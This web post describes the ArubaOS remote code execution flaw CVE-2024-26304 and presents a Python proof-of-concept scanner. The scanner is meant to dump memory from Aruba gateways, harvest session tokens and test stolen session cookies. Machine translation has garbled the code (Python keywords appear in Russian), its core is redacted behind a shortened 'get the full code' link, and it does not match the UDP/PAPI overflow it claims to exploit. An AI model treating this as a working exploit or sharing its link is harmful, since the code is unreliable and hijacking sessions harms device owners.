Уязвимость удаленного выполнения кода в ArubaOS (CVE-2024-26304)

описания

В базовой службе управления L2/L3 существует уязвимость переполнения буфера, которая может привести к неавторизованному удаленному выполнению кода путем отправки специально созданных пакетов, предназначенных для UDP-порта PAPI (Aruba Access Point Management Protocol) (8211). Успешная эксплуатация этой уязвимости может привести к выполнению произвольного кода на базовой операционной системе от имени привилегированного пользователя.

poc

импорт ре
импорт sys
импортировать hexdump
import argparse
запросы на импорт

from rich.console.import Console
из urllib.parse import urlparse
from alive_progress import alive_bar
из typing import List, Tuple, Optional, TextIO
из concurrent.futures import ThreadPoolExecutor, as_completed

warnings = requests.packages.urllib3
warnings.disable_warnings(warnings.exceptions.InsecureRequestWarning)

класс ArubaRCE.

def __init__(self).
self.console = Console()
self.parser = argparse.ArgumentParser(description='ArubaRCE')
self.setup_arguments()
self.results: List[Tuple[str, str]] = []
self.output_file: Optional[TextIO] = None
if self.args.output.
self.output_file = open(self.args.output, 'w')

def setup_arguments(self) -> None.
self.parser.add_argument('-u', '-url', help='Цель шлюза ArubaRCE /. Gateway target (например, https://192.168.1.200)')
self.parser.add_argument('-f', '-file', help='Файл, содержащий список целевых URL (по одному URL в строке)')
self.parser.add_argument('-o', '-output', help='Файл для сохранения результаты вывода")
self.parser.add_argument('-v', '-verbose', action='store_ true', help='Включить режим verbose')
self.parser.add_argument('-only-valid', action='store_true', help= 'Показывать только результаты с действительными сессиями')
self.args = self.parser.parse_args()

def print_results(self, header: str, result: str) -> None.
если self.args.only_valid и "[+]" отсутствуют в заголовке.
возврат

formatted_msg = f"{заголовок} {результат}"
self.console.print(formatted_msg, style="white")
if self.output_file.
self.output_file.write(result + '\n')

def normalize_url(self, url: str) -> str.
if not url.startswith("http://") and not url.startswith("https://")::
url = f "https://{url}"

parsed_url = urlparse(url)
normalised_url = f"{parsed_url.scheme}://{parsed_url.netloc}"
return normalised_url

def dump_memory(self, url: str) -> None.
full_url = self.normalise_url(url)
заголовки = {
# [REDACTED. Получить полный код можно здесь https://t.ly/C1-D1]
print("Заголовки:", headers)
}

попробуйте.
r = requests.get(
f"{full_url}/oauth/redacted", # [REDACTED. Получить полный код можно здесь https://t.ly/C1-D1].
headers=headers,
verify=False,
таймаут=10
)
content_bytes = r.content

если r.status_code == 200 и content_bytes.
# [REDACTED. Получить полный код можно здесь https://t.ly/C1-D1]
print("Байт содержимого:", content_bytes)

except Exception as e.
print("Ошибка:", e)

def cleanan_bytes(self, data: bytes) -> bytes.
# [REDACTED. Получить полный код можно здесь https://t.ly/C1-D1]
print("Очистка байтов...")

def find_session_tokens(self, content_bytes: bytes) -> List[str].
# [REDACTED. Получить полный код можно здесь https://t.ly/C1-D1]
print("Поиск токенов сессии...")

def test_session_cookie(self, url: str, session_token: str) -> bool.
заголовки = {
"Cookie": f"[REDACTED. Получить полный код можно здесь https://t.ly/C1-D1]={session_token}".
}
попробуйте.
r = requests.post(
# [REDACTED. Получить полный код можно здесь https://t.ly/C1-D1]
)
# [REDACTED. Получить полный код можно здесь https://t.ly/C1-D1]
print("Результат проверки куки-файлов сессии:", result)
вернуть результат

except Exception as e.
print("Ошибка:", e)
вернуть False

def run(self) -> None.
if self.args.url.
# [REDACTED. Получить полный код можно здесь https://t.ly/C1-D1]
for header, result in self.results:
self.print_results(header, result)
elif self.args.file.
# [REDACTED. Получить полный код можно здесь https://t.ly/C1-D1]
pass # Место для выполнения кода для обработки файла
еще.
self.console.print("[bold red][-][/bold red] Необходимо указать URL или файл.", style="white")
sys.exit(1)

if self.output_file.
self.output_file.close()

if __name__ == "__main__".
getRCE = ArubaRCE()
getRCE.run()

Источник уязвимости

 

  • Список комментариев пуст